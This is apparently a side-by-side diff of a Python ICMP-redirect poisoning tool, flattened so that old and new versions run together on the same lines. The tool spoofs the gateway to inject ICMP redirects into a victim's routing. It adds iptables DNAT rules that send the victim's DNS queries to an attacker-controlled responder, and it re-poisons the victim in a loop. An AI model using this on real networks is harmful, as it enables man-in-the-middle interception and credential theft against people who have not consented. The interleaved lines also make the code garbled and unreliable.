MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,Responder_IP) print '## ##'
print '## Note that if the target is Windows, the poisoning will only ##'
class Packet(): print '## last for 10mn, you can re-poison the target by launching this ##'
fields = OrderedDict([ print '## utility again. If you wish to respond to the traffic, for example ##'
("data", ""), print '## to DNS queries issued by the target, run these commands as root: ##'
]) print '## ##'
def __init__(self, **kw): print '## * iptables -A OUTPUT -p ICMP -j DROP ##'
self.fields = OrderedDict(self.__class__.fields) print '## * iptables -t nat -A PREROUTING -p udp --dst %s ##' % ToThisHost
for k,v in kw.items(): print '## --dport 53 -j DNAT --to-destination %s:53 ##' % Responder_IP
if callable(v): print '###########################################################################'
self.fields[k] = v(self.fields[k]) print ''
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def GenCheckSum(data): def GenCheckSum(data):
s = 0 s = 0
@ -115,7 +105,6 @@ class EthARP(Packet):
("DstMac", "\xff\xff\xff\xff\xff\xff"), ("DstMac", "\xff\xff\xff\xff\xff\xff"),
("SrcMac", ""), ("SrcMac", ""),
("Type", "\x08\x06" ), #ARP ("Type", "\x08\x06" ), #ARP
]) ])
class ARPWhoHas(Packet): class ARPWhoHas(Packet):
@ -129,7 +118,6 @@ class ARPWhoHas(Packet):
("SenderIP", "\x00\xff\x53\x4d"), ("SenderIP", "\x00\xff\x53\x4d"),
("DstMac", "\x00\x00\x00\x00\x00\x00"), ("DstMac", "\x00\x00\x00\x00\x00\x00"),
("DstIP", "\x00\x00\x00\x00"), ("DstIP", "\x00\x00\x00\x00"),
]) ])
def calculate(self): def calculate(self):
@ -144,7 +132,6 @@ class Eth2(Packet):
("DstMac", ""), ("DstMac", ""),
("SrcMac", ""), ("SrcMac", ""),
("Type", "\x08\x00" ), #IP ("Type", "\x08\x00" ), #IP
]) ])
class IPPacket(Packet): class IPPacket(Packet):
@ -182,7 +169,6 @@ class ICMPRedir(Packet):
("CheckSum", "\x00\x00"), ("CheckSum", "\x00\x00"),
("GwAddr", ""), ("GwAddr", ""),
("Data", ""), ("Data", ""),
]) ])
def calculate(self): def calculate(self):
@ -223,43 +209,54 @@ def ReceiveArpFrame(DstAddr):
def IcmpRedirectSock(DestinationIP): def IcmpRedirectSock(DestinationIP):
PrintMac,DestMac = ReceiveArpFrame(VictimIP) PrintMac,DestMac = ReceiveArpFrame(VictimIP)
print '[ARP]Target Mac address is :',PrintMac
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
print '[ARP]Router Mac address is :',PrintMac
s = socket(AF_PACKET, SOCK_RAW) s = socket(AF_PACKET, SOCK_RAW)
Protocol = 0x0800 s.bind((Interface, 0x0800))
s.bind((Interface, Protocol))
Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac) Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP())) IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
IPPackUDP.calculate() IPPackUDP.calculate()
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
ICMPPack.calculate() ICMPPack.calculate()
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
IPPack.calculate() IPPack.calculate()
final = str(Eth)+str(IPPack) final = str(Eth)+str(IPPack)
s.send(final) s.send(final)
print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
def FindWhatToDo(ToThisHost2): print text("[ICMP-Redir] %s should have been poisoned with a new route for target: %s" % (VictimIP, DestinationIP))
if ToThisHost2 != None:
Show_Help('Hit CRTL-C to kill this script')
RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
if ToThisHost2 == None:
Show_Help(MoreHelp)
IcmpRedirectSock(DestinationIP=ToThisHost)
exit()
def RunThisInLoop(host, host2, ip): def RunThisInLoop(host, host2, ip):
dns1 = pipes.quote(host) dns1 = pipes.quote(host)
dns2 = pipes.quote(host2) dns2 = pipes.quote(host2)
Responder_IPadd = pipes.quote(ip) Responder_IPadd = pipes.quote(ip)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True) call("iptables -A OUTPUT -p ICMP -j DROP")
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." call("iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
call("iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
print text("[ICMP-Redir] Automatic mode enabled")
print text("[ICMP-Redir] IPtables rules added for both DNS Servers")
while True: while True:
print text("[ICMP-Redir] Poisoning target... Next round in 8 minutes.")
try:
IcmpRedirectSock(DestinationIP=dns1) IcmpRedirectSock(DestinationIP=dns1)
IcmpRedirectSock(DestinationIP=dns2) IcmpRedirectSock(DestinationIP=dns2)
print "[+]Repoisoning the target in 8 minutes..."
sleep(480) sleep(480)
FindWhatToDo(ToThisHost2) except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
if __name__ == "__main__":
if ToThisHost2 != None:
RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
if ToThisHost2 == None:
print text("[ICMP-Redir] Poisoning target...")
IcmpRedirectSock(DestinationIP=ToThisHost)
print text("[ICMP-Redir] Done.")
exit()